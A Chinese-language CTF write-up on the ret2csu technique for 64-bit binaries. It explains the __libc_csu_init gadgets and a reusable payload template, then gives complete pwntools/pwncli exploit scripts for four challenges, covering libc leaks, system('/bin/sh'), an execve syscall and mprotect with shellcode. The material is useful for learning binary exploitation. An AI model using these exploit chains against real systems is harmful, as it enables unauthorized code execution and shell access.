ret2csu


原理

严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。

这时,我们可以利用程序中的 __libc_csu_init (高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx, rbp, r12, r13, r14, r15 以及 rdi, rsi, rdx)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init 函数,通过这段万能 gadgets 控制程序的行为。

我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gadget2
400710: 4c 89 fa mov rdx, r15
400713: 4c 89 f6 mov rsi, r14
400716: 44 89 ef mov edi, r13d
400719: 41 ff 14 dc call qword ptr [r12 + 8*rbx]
40071d: 48 83 c3 01 add rbx, 0x1
400721: 48 39 dd cmp rbp, rbx
400724: 75 ea jne 0x400710 <__libc_csu_init+0x40>

//gadget1
400726: 48 83 c4 08 add rsp, 0x8
40072a: 5b pop rbx
40072b: 5d pop rbp
40072c: 41 5c pop r12
40072e: 41 5d pop r13
400730: 41 5e pop r14
400732: 41 5f pop r15
400734: c3 ret

这样的话

1
2
3
4
5
r13=rdx=arg3
r14=rsi=arg2
r15=edi=arg1
rbx=0
r12=call address

csu模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def csu(addr,edi,rsi,rdx,last):
#用于溢出的padding
payload=off*b'a'
#gadget1
payload+=p64(gadget1)
#rbx=0,rbp=1
payload+=p64(0)+p64(1)
#设置r12寄存器地址,即call调用的地址
payload+=p64(addr)
#参数3、参数2、参数1
#r13、r14、r15
payload+=p64(rdx)+p64(rsi)+p64(edi)
#gadget2
payload+=p64(gadget2)
#pop出的padding
payload+=b'a'*56
#函数最后的返回地址
payload+=p64(last)
return payload

对csu模板的使用要分清情况

末尾的padding('a'*56)是我们在没有进行jne跳转,程序向下执行到add rsp,0x8的时候这些需要进行栈平衡的数据。

如果我们只需要调用一个函数就不需要添加后面的padding和last,如果我们还需要调用一个地址就需要添加。

例题

[NewStarCTF 公开赛赛道]ret2csu1

#ret2syscall

  • 分析

拿到程序,先查保护。

发现开启了NX保护和Partial RELRO保护。

输出两串字符串,并向栈中写入0x70长度的数据。

根据栈宽度比较,判断存在栈溢出。

gdb测一下,判断溢出填充长度为40。

字符串列表,发现/bin/cat和/flag关键字符串,但并没有发现system函数

函数窗口发现关键函数ohMyBackdoor,判断可能为后门函数。

发现关键汇编指令syscall,以及设置rax值为0x3b的mov rax,0x3b指令。

利用思路

根据题目名称中的ret2csu判断为ret2csu打法,并且判断是通过ret2csu打syscall。

我们需要通过执行libc_csu_init函数来设置寄存器值,并不需要函数执行完毕,所以我们不需要从add rsp,8开始执行。

通过libc_csu_init函数设置寄存器值,并且触发中断。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

off=40
gadget1=0x40072a
gadget2=0x400710
syscall=0x601068
cat=0x4007bb
flag=0x601050

payload=b'a'*off
payload+=p64(gadget1)+p64(0)+p64(0)+p64(syscall)+p64(cat)+p64(flag)+p64(0)
payload+=p64(gadget2)

sa("it!\n",payload)

ia()

2024极客大挑战 su~~~~

  • 分析

  • exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

gadget1=0x4008FA
gadget2=0x4008E0

ru("exit.\n")
sl(b"1")
off=136

def csu(addr,edi,rsi,rdx,last):
    #用于溢出的padding
    payload=off*b'a'
    #gadget1
    payload+=p64(gadget1)
    #rbx=0,rbp=1
    payload+=p64(0)+p64(1)
    #设置r12寄存器地址,即call调用的地址
    payload+=p64(addr)
    #参数3、参数2、参数1
    #r13、r14、r15
    payload+=p64(edi)+p64(rsi)+p64(rdx)
    #gadget2
    payload+=p64(gadget2)
    #pop出的padding
    payload+=b'a'*56
    #函数最后的返回地址
    payload+=p64(last)
    return payload

payload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8,0x400798)

sl(payload)
addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(addr))
base=addr-0x80970
print("base",hex(base))
sys=base+0x4f420
print("sys",hex(sys))
sh=base+0x1b3d88
print("sh",hex(sh))

rdi=0x0000000000400903
ret=0x00000000004005d6
payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)

ia()

[HNCTF 2022 WEEK2]ret2csu

#ret2libc

  • 分析

没有栈溢出和PIE保护。

发现vuln函数,进入查看

read函数向buf输入0x200个字节的数据,而buf为256字节,判断存在栈溢出。

利用思路

  1. 利用csu通过write函数泄露write的真实地址->泄露libc->获得system的真实地址
  2. 调用system
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc.so.6")

gadget1=0x4012aa
gadget2=0x401290

off=264
write=elf.got.write
pop_rdi=0x00000000004012b3
ret=0x000000000040101a

def csu(rdi, rsi, rdx,r15, rbx=0, rbp=1,last=elf.sym.vuln):
payload = p64(gadget1)
payload += p64(rbx) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(r15)
payload += p64(gadget2)
payload += b'a'*56
payload += p64(last)
return payload

r()
payload=b'a'*off+csu(rdi=1,rsi=write,rdx=0x20,r15=write)
sl(payload)

ru(b'Ok.\n')
addr=u64(r(6).ljust(8,b'\x00'))
print("write:",hex(addr))

base=addr-libc.sym.write
sys=libc.sym.system+base
sh=next(libc.search(b'/bin/sh\x00'))+base

payload=b'a'*off+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)
sla("Input:\n",payload)

ia()

[NewStarCTF 公开赛赛道]ret2csu2

#ret2shellcode

查保护

发现没有栈溢出和PIE保护。

分析

两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。

函数窗口发现关键函数

进入查看,发现mprotect。

格式化字符串窗口每发现什么有用的东西。

利用思路

根据题目名称,是要我们打csu,而且存在mprotect函数,所以到这里思路已经很明显了。

通过read函数读取rop链到bss段,之后将栈迁移到bss段执行rop链。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from pwncli import *
cli_script()

# bss = 0x601020
first_ebp=0x601020 + 0xf0
# lea rsi, [rbp - 0xf0]
first_ret=0x4006E7
#通过上述lea指令设置rsi值为bss段地址,并且再次执行read函数将rop链写入bss段
payload = b"a"*(0xf0) + p64(first_ebp) + p64(first_ret)


ru("Remember to check it!")
s(payload)

mprotect_got=elf.got.mprotect
leave_ret=0x400681
gadget1=0x40075A
gadget2=0x400740

#通过csu修改bss段内存权限为可读可写可执行
payload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)

# asm(shellcraft.sh())长度为0x30
shellcode = asm(shellcraft.sh())

#0x40为mrpotect的rop链的长度,0x38为a的长度,0x8为填充地址的长度,目的是返回到shellcode
payload2 += b"a"*(0x38) + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)

sl(payload2)

ia()